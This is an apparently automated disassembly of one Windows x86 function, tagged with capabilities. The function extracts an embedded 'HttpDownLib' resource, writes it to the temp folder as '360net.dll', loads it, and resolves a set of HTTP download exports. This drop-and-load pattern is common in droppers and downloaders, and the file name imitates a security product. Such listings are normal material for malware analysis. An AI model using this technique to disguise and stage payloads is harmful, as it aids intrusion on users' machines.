Function at 0x401d50
Capabilities:
Extract resource via kernel32 functions
Get common file path
Link many functions at runtime
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x405dbb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x110
push ebx
push ebp
mov dword [esp + 0xc], ecx
push esi
push edi
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], bl
mov dword [esp + 0x128], ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x1c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x10]
push ecx
push str._s360net.dll
push edx
call sub.MFC42.DLL_CString::Format
add esp, 0xc
push str.HttpDownLib
push 0x98
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
cmp esi, ebx
jne 0x401df2
lea ecx, [esp + 0x10]
mov dword [esp + 0x128], 0xffffffff
call fcn.004056c4
xor al, al
jmp 0x401ffc
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push ebx
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
cmp edi, ebx
jne 0x401e25
lea ecx, [esp + 0x10]
mov dword [esp + 0x128], 0xffffffff
call fcn.004056c4
xor al, al
jmp 0x401ffc
mov eax, dword [esp + 0x10]
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, ebx
jne 0x401e5c
lea ecx, [esp + 0x10]
mov dword [esp + 0x128], 0xffffffff
call fcn.004056c4
xor al, al
jmp 0x401ffc
lea ecx, [esp + 0x18]
push ebx
push ecx
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x10]
push eax
lea esi, [edx + 0xcc]
mov ecx, esi
call fcn.00405796
mov eax, dword [0x40a3f8]
mov esi, dword [esi]
cmp eax, ebx
je 0x401ea1
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push esi
mov dword [0x40a3fc], ebx
mov dword [0x40a400], ebx
mov dword [0x40a404], ebx
mov dword [0x40a408], ebx
mov dword [0x40a40c], ebx
mov dword [0x40a410], ebx
mov dword [0x40a414], ebx
mov dword [0x40a418], ebx
mov dword [0x40a41c], ebx
mov dword [0x40a420], ebx
mov dword [0x40a424], ebx
mov dword [0x40a428], ebx
mov dword [0x40a3f8], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp eax, ebx
mov dword [0x40a3f8], eax
je 0x401fe6
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.HttpCreateDownloadObj
push eax
call esi
mov ecx, dword [0x40a3f8]
push str.HttpDeleteDownloadObj
push ecx
mov dword [0x40a3fc], eax
call esi
mov edx, dword [0x40a3f8]
push str.HttpInitDownPara
push edx
mov dword [0x40a400], eax
call esi
mov dword [0x40a404], eax
mov eax, dword [0x40a3f8]
push str.HttpDownload
push eax
call esi
mov ecx, dword [0x40a3f8]
push str.HttpCancel
push ecx
mov dword [0x40a408], eax
call esi
mov edx, dword [0x40a3f8]
push str.HttpWait
push edx
mov dword [0x40a40c], eax
call esi
mov dword [0x40a410], eax
mov eax, dword [0x40a3f8]
push str.HttpResetAll
push eax
call esi
mov ecx, dword [0x40a3f8]
push str.HttpGetState
push ecx
mov dword [0x40a414], eax
call esi
mov edx, dword [0x40a3f8]
push str.HttpGetConnectState
push edx
mov dword [0x40a418], eax
call esi
mov dword [0x40a41c], eax
mov eax, dword [0x40a3f8]
push str.HttpGetContentLength
push eax
call esi
mov ecx, dword [0x40a3f8]
push str.HttpGetReceivedLength
push ecx
mov dword [0x40a420], eax
call esi
mov edx, dword [0x40a3f8]
push str.HttpGetLastError
push edx
mov dword [0x40a424], eax
call esi
mov dword [0x40a428], eax
mov bl, 1
lea ecx, [esp + 0x10]
mov dword [esp + 0x128], 0xffffffff
call fcn.004056c4
mov al, bl
mov ecx, dword [esp + 0x120]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x11c
ret